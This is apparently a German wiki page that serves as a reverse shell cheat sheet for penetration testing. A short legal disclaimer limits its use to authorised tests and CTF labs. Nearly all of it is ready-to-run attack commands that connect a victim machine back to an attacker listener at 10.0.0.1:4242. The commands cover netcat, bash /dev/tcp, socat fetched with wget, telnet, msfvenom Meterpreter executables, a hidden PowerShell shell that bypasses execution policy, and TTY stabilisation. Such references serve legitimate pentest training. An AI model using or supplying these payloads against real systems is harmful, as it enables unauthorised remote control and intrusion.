Reverse Shell
Version vom 15. Mai 2026, 08:21 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „= Reverse Shell = ;Eine Reverse Shell ist eine Verbindung bei der das Zielsystem die Verbindung zum Angreifer aufbaut *Im Gegensatz zur Bind Shell wartet nich…“)
Reverse Shell
- Eine Reverse Shell ist eine Verbindung bei der das Zielsystem die Verbindung zum Angreifer aufbaut
- Im Gegensatz zur Bind Shell wartet nicht der Angreifer auf eine eingehende Verbindung
- Das Zielsystem verbindet sich aktiv zum Listener des Angreifers
- Dadurch werden Firewalls umgangen die eingehende Verbindungen blockieren aber ausgehende erlauben
Normaler Ablauf: Attacker-Listener (nc -lvp 4242) ← Victim verbindet sich
!!Wichtig!!
- Alle hier beschriebenen Techniken sind ausschließlich für autorisierte Penetrationstests und CTF-Übungen im eigenen Lab
- Einsatz gegen fremde Systeme ist strafbar (§ 202a StGB)
Listener starten
- Auf dem Angreifer-System muss zuerst ein Listener gestartet werden
- Der Listener wartet auf die eingehende Verbindung vom Opfer-System
nc -lvp 4242
Netcat
Netcat Traditional
- Funktioniert wenn netcat mit -e Option kompiliert wurde (z.B. unter Kali)
nc -e /bin/sh 10.0.0.1 4242 nc -e /bin/bash 10.0.0.1 4242 nc -c bash 10.0.0.1 4242
Netcat OpenBSD
- Debian/Ubuntu verwenden standardmäßig netcat-openbsd — dort fehlt die -e Option
- Workaround über Named Pipe (FIFO)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 >/tmp/f
Netcat BusyBox
- Auf eingebetteten Systemen (Router, IoT) ist oft nur BusyBox verfügbar
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 >/tmp/f
Ncat
- Ncat ist die moderne Variante aus dem Nmap-Projekt — unterstützt -e nativ
ncat 10.0.0.1 4242 -e /bin/bash ncat --udp 10.0.0.1 4242 -e /bin/bash
Bash
Bash TCP
- Bash kann direkt über /dev/tcp eine TCP-Verbindung aufbauen — kein externes Tool nötig
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
- Variante mit explizitem File Descriptor
0<&196; exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
- Variante mit /bin/bash
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
Bash UDP
- Listener auf Angreifer-Seite
nc -u -lvp 4242
- Auf dem Opfer-System
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Socat
- Socat ist mächtiger als netcat und liefert ein vollständiges TTY
- Listener auf Angreifer-Seite
socat file:`tty`,raw,echo=0 TCP-L:4242
- Auf dem Opfer-System (wenn socat installiert ist)
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
- Falls socat nicht installiert ist — statisches Binary nachladen
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod +x /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
Telnet
- Funktioniert wenn weder netcat noch bash /dev/tcp verfügbar ist
- Zwei Listener auf dem Angreifer-System nötig
- Listener auf Angreifer-Seite (zwei Terminals)
nc -lvp 8080 nc -lvp 8081
- Auf dem Opfer-System
telnet <Angreifer-IP> 8080 | /bin/sh | telnet <Angreifer-IP> 8081
Meterpreter via msfvenom
- msfvenom generiert Payloads für Metasploit — Listener danach mit multi/handler starten
Staged vs. Stageless
| Staged | Stageless | |
|---|---|---|
| Größe | Klein (lädt Payload nach) | Größer (alles enthalten) |
| Requires MSF | Ja (für Stage 2) | Nein |
| Payload-Name | meterpreter/reverse_tcp | shell_reverse_tcp |
| Trennzeichen | / (Slash) | _ (Underscore) |
Windows
- Staged reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
- Stageless reverse TCP
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
Linux
- Staged reverse TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf > reverse.elf
- Stageless reverse TCP
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf > reverse.elf
- Listener in Metasploit starten
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.1 set LPORT 4242 run
PowerShell
- Für Windows-Systeme — Ausführung mit Bypass der Execution Policy
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
TTY Upgrade
- Eine Reverse Shell ist oft kein vollständiges TTY — kein Tab-Completion, kein sudo, kein vi
- Nach dem Verbindungsaufbau TTY upgraden
- Python (meist verfügbar)
python3 -c 'import pty; pty.spawn("/bin/bash")'
- Danach im gleichen Terminal
Ctrl+Z stty raw -echo; fg export TERM=xterm
- Alternativ mit script
script /dev/null -c bash
Shell stabilisieren
- Nach dem TTY-Upgrade Umgebung setzen
export SHELL=bash export TERM=xterm-256color stty rows 38 columns 116
Weiterführende Links
- https://revshells.com — Reverse Shell Generator (alle Varianten, anpassbar)
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md — PayloadsAllTheThings